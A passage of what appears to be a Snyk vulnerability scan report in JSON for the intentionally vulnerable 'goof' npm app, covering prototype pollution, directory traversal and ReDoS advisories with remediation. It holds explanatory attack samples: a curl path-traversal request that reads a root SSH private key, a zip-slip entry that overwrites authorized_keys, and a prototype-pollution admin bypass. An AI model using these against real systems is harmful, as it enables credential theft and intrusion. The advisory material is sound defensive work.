**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n## For more information on this vulnerability ty" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 5.6, + "security-severity": "5.6" + } + }, + { + "id": "npm:st:20140206", + "shortDescription": { + "text": "Medium severity - Directory Traversal vulnerability in st" + }, + "fullDescription": { + "text": "(CVE-2014-3744) st@0.2.4" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: st\n* Introduced through: goof@1.0.1 and st@0.2.4\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › st@0.2.4\n# Overview\r\nVersions prior to 0.2.5 did not properly prevent path traversal. Literal dots in a path were resolved out, but url encoded dots were not. Thus, a request like ``` /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd ``` would leak sensitive files and data from the server.\r\n\r\nAs of version 0.2.5, any ```'/../'``` in the request path, urlencoded or not, will be replaced with ```'/'```. If your application depends on url traversal, then you are encouraged to please refactor so that you do not depend on having ```..``` in url paths, as this tends to expose data that you may be surprised to be exposing.\r\n\r\n# Details\r\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\r\n\r\nDirectory Traversal vulnerabilities can be generally divided into two types:\r\n\r\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\r\n\r\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\r\n\r\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\r\n\r\n```\r\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\r\n```\r\n**Note** `%2e` is the URL encoded version of `.` (dot).\r\n\r\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \r\n\r\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\r\n\r\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\r\n\r\n```\r\n2018-04-15 22:04:29 ..... 19 19 good.txt\r\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\r\n```\r\n\r\n\r\n# Remediation\r\nUpgrade to version 0.2.5 or greater.\r\n\r\n# References\r\n- https://github.com/isaacs/st#security-status\r\n- http://blog.npmjs.org/post/80277229932/newly-paranoid-maintainers" + }, + "properties": { + "tags": [ + "security", + "CWE-22", + "npm" + ], + "cvssv3_baseScore": 5.3, + "security-severity": "5.3" + } + }, + { + "id": "SNYK-JS-MARKED-174116", + "shortDescription": { + "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in marked" + }, + "fullDescription": { + "text": "marked@0.3.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: marked\n* Introduced through: goof@1.0.1 and marked@0.3.5\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › marked@0.3.5\n# Overview\n[marked](https://marked.js.org/) is a low-level compiler for parsing markdown without caching or blocking for long periods of time.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The `inline.text regex` may take quadratic time to scan for potential email addresses starting at every point.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `marked` to version 0.6.2 or higher.\n# References\n- [GitHub Commit](https://github.com/markedjs/marked/commit/00f1f7a23916ef27186d0904635aa3509af63d47)\n- [GitHub Commit](https://github.com/markedjs/marked/pull/1460/commits/be27472a8169dda7875330939f8115ab677cdc07)\n- [GitHub PR](https://github.com/markedjs/marked/pull/1460)\n- [NPM Security Advisory](https://www.npmjs.com/advisories/812)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 5.3, + "security-severity": "5.3" + } + }, + { + "id": "SNYK-JS-HANDLEBARS-469063", + "shortDescription": { + "text": "High severity - Prototype Pollution vulnerability in handlebars" + }, + "fullDescription": { + "text": "(CVE-2019-19919) handlebars@4.0.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: handlebars\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › handlebars@4.0.5\n# Overview\n\n[handlebars](https://www.npmjs.com/package/handlebars) is a extension to the Mustache templating language.\n\n\nAffected versions of this package are vulnerable to Prototype Pollution.\nTemplates may alter an Object's `__proto__` and `__defineGetter__` properties, which may allow an attacker to execute arbitrary code on the server through crafted payloads.\n\n# Details\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\r\n\r\nThere are two main ways in which the pollution of prototypes occurs:\r\n\r\n- Unsafe `Object` recursive merge\r\n \r\n- Property definition by path\r\n \r\n\r\n## Unsafe Object recursive merge\r\n\r\nThe logic of a vulnerable recursive merge function follows the following high-level model:\r\n```\r\nmerge (target, source)\r\n\r\n foreach property of source\r\n\r\n if property exists and is an object on both the target and the source\r\n\r\n merge(target[property], source[property])\r\n\r\n else\r\n\r\n target[property] = source[property]\r\n```\r\n
\r\n\r\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\r\n\r\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\r\n\r\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\r\n\r\n## Property definition by path\r\n\r\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\r\n\r\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\r\n\r\n# Types of attacks\r\n\r\nThere are a few methods by which Prototype Pollution can be manipulated:\r\n\r\n| Type |Origin |Short description |\r\n|--|--|--|\r\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\r\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\r\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\r\n\r\n# Affected environments\r\n\r\nThe following environments are susceptible to a Prototype Pollution attack:\r\n\r\n- Application server\r\n \r\n- Web server\r\n \r\n\r\n# How to prevent\r\n\r\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\r\n \r\n2. Require schema validation of JSON input.\r\n \r\n3. Avoid using unsafe recursive merge functions.\r\n \r\n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\r\n \r\n5. As a best practice use `Map` instead of `Object`.\r\n\r\n## For more information on this vulnerability type:\r\n\r\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/pro" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 7.3, + "security-severity": "7.3" + } + }, + { + "id": "npm:fresh:20170908", + "shortDescription": { + "text": "High severity - Regular Expression Denial of Service (ReDoS) vulnerability in fresh" + }, + "fullDescription": { + "text": "(CVE-2017-16119) fresh@0.2.4" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: fresh\n* Introduced through: goof@1.0.1, express@4.12.4 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › serve-static@1.9.3 › send@0.12.3 › fresh@0.2.4\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › send@0.12.3 › fresh@0.2.4\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › fresh@0.2.4\n# Overview\r\n[`fresh`](https://www.npmjs.com/package/fresh) is HTTP response freshness testing.\r\n\r\nAffected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS) attacks. A Regular Expression (`/ *, */`) was used for parsing HTTP headers and take about 2 seconds matching time for 50k characters.\r\n\r\n# Details\r\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\r\n\r\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\r\n\r\nLet’s take the following regular expression as an example:\r\n```js\r\nregex = /A(B|C+)+D/\r\n```\r\n\r\nThis regular expression accomplishes the following:\r\n- `A` The string must start with the letter 'A'\r\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\r\n- `D` Finally, we ensure this section of the string ends with a 'D'\r\n\r\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\r\n\r\nIt most cases, it doesn't take very long for a regex engine to find a match:\r\n\r\n```bash\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\r\n0.04s user 0.01s system 95% cpu 0.052 total\r\n\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\r\n1.79s user 0.02s system 99% cpu 1.812 total\r\n```\r\n\r\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\r\n\r\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\r\n\r\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\r\n1. CCC\r\n2. CC+C\r\n3. C+CC\r\n4. C+C+C.\r\n\r\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\r\n\r\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\r\n\r\n| String | Number of C's | Number of steps |\r\n| -------|-------------:| -----:|\r\n| ACCCX | 3 | 38\r\n| ACCCCX | 4 | 71\r\n| ACCCCCX | 5 | 136\r\n| ACCCCCCCCCCCCCCX | 14 | 65,553\r\n\r\n\r\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\r\n\r\n\r\n# Remediation\r\nUpgrade `fresh` to version 0.5.2 or higher.\n\n# References\n- [https://github.com/jshttp/fresh/commit/21a0f0c2a5f447e0d40bc16be0c23fa98a7b46ec](https://github.com/jshttp/fresh/commit/21a0f0c2a5f447e0d40bc16be0c23fa98a7b46ec)\n- [https://github.com/jshttp/fresh/issues/24](https://github.com/jshttp/fresh/issues/24)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "SNYK-JS-MOMENT-2440688", + "shortDescription": { + "text": "High severity - Directory Traversal vulnerability in moment" + }, + "fullDescription": { + "text": "(CVE-2022-24785) moment@2.15.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: moment\n* Introduced through: goof@1.0.1 and moment@2.15.1\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › moment@2.15.1\n# Overview\n[moment](https://www.npmjs.com/package/moment) is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.\n\nAffected versions of this package are vulnerable to Directory Traversal when a user provides a locale string which is directly used to switch moment locale.\n\n# Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n# Remediation\nUpgrade `moment` to version 2.29.2 or higher.\n# References\n- [GitHub Commit](https://github.com/moment/moment/commit/4211bfc8f15746be4019bba557e29a7ba83d54c5)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-22", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "npm:minimatch:20160620", + "shortDescription": { + "text": "High severity - Regular Expression Denial of Service (ReDoS) vulnerability in minimatch" + }, + "fullDescription": { + "text": "(CVE-2016-10540) minimatch@2.0.10" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: minimatch\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › fileset@0.2.1 › glob@5.0.15 › minimatch@2.0.10\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › fileset@0.2.1 › minimatch@2.0.10\n* _Introduced through_: goof@1.0.1 › dustjs-linkedin@2.6.0 › cli@0.6.6 › glob@3.2.11 › minimatch@0.3.0\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › spawn-wrap@1.2.3 › rimraf@2.5.2 › glob@7.0.3 › minimatch@3.0.0\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › rimraf@2.5.2 › glob@7.0.3 › minimatch@3.0.0\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › glob@7.0.3 › minimatch@3.0.0\n# Overview\n\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS).\n\n# Details\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\r\n\r\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\r\n\r\nLet’s take the following regular expression as an example:\r\n```js\r\nregex = /A(B|C+)+D/\r\n```\r\n\r\nThis regular expression accomplishes the following:\r\n- `A` The string must start with the letter 'A'\r\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\r\n- `D` Finally, we ensure this section of the string ends with a 'D'\r\n\r\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\r\n\r\nIt most cases, it doesn't take very long for a regex engine to find a match:\r\n\r\n```bash\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\r\n0.04s user 0.01s system 95% cpu 0.052 total\r\n\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\r\n1.79s user 0.02s system 99% cpu 1.812 total\r\n```\r\n\r\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\r\n\r\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\r\n\r\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\r\n1. CCC\r\n2. CC+C\r\n3. C+CC\r\n4. C+C+C.\r\n\r\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\r\n\r\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\r\n\r\n| String | Number of C's | Number of steps |\r\n| -------|-------------:| -----:|\r\n| ACCCX | 3 | 38\r\n| ACCCCX | 4 | 71\r\n| ACCCCCX | 5 | 136\r\n| ACCCCCCCCCCCCCCX | 14 | 65,553\r\n\r\n\r\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\n\nUpgrade `minimatch` to version 3.0.2 or higher.\n\n\n# References\n\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/6944abf9e0694bd22fd9dad293faa40c2bc8a955)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "SNYK-JS-ACORN-559469", + "shortDescription": { + "text": "High severity - Regular Expression Denial of Service (ReDoS) vulnerability in acorn" + }, + "fullDescription": { + "text": "acorn@5.7.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: acorn\n* Introduced through: goof@1.0.1, @snyk/nodejs-runtime-agent@1.43.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › @snyk/nodejs-runtime-agent@1.43.0 › acorn@5.7.1\n# Overview\n\n[acorn](https://github.com/acornjs/acorn) is a tiny, fast JavaScript parser written in JavaScript.\n\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS)\nvia a regex in the form of `/[x-\\ud800]/u`, which causes the parser to enter an infinite loop. \r\n\r\nThis string is not a valid `UTF16` and is therefore not sanitized before reaching the parser. An application which processes untrusted input and passes it directly to `acorn`, will allow attackers to leverage the vulnerability leading to a Denial of Service.\n\n# Details\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\r\n\r\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\r\n\r\nLet’s take the following regular expression as an example:\r\n```js\r\nregex = /A(B|C+)+D/\r\n```\r\n\r\nThis regular expression accomplishes the following:\r\n- `A` The string must start with the letter 'A'\r\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\r\n- `D` Finally, we ensure this section of the string ends with a 'D'\r\n\r\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\r\n\r\nIt most cases, it doesn't take very long for a regex engine to find a match:\r\n\r\n```bash\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\r\n0.04s user 0.01s system 95% cpu 0.052 total\r\n\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\r\n1.79s user 0.02s system 99% cpu 1.812 total\r\n```\r\n\r\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\r\n\r\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\r\n\r\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\r\n1. CCC\r\n2. CC+C\r\n3. C+CC\r\n4. C+C+C.\r\n\r\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\r\n\r\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\r\n\r\n| String | Number of C's | Number of steps |\r\n| -------|-------------:| -----:|\r\n| ACCCX | 3 | 38\r\n| ACCCCX | 4 | 71\r\n| ACCCCCX | 5 | 136\r\n| ACCCCCCCCCCCCCCX | 14 | 65,553\r\n\r\n\r\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\n\nUpgrade `acorn` to version 5.7.4, 6.4.1, 7.1.1 or higher.\n\n\n# References\n\n- [GitHub Commit](https://github.com/acornjs/acorn/commit/793c0e569ed1158672e3a40aeed1d8518832b802)\n\n- [GitHub Issue 6.x Branch](https://github.com/acornjs/acorn/issues/929)\n\n- [NPM Security Advisory](https://www.npmjs.com/advisories/1488)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "SNYK-JS-LODASH-73639", + "shortDescription": { + "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in lodash" + }, + "fullDescription": { + "text": "(CVE-2019-1010266) lodash@4.17.4" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: lodash\n* Introduced through: goof@1.0.1 and lodash@4.17.4\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/cocoapods-lockfile-parser@3.0.0 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n# Overview\n[lodash](https://www.npmjs.com/package/lodash) is a modern JavaScript utility library delivering modularity, performance, & extras.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It parses dates using regex strings, which may cause a slowdown of 2 seconds per 50k characters.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the 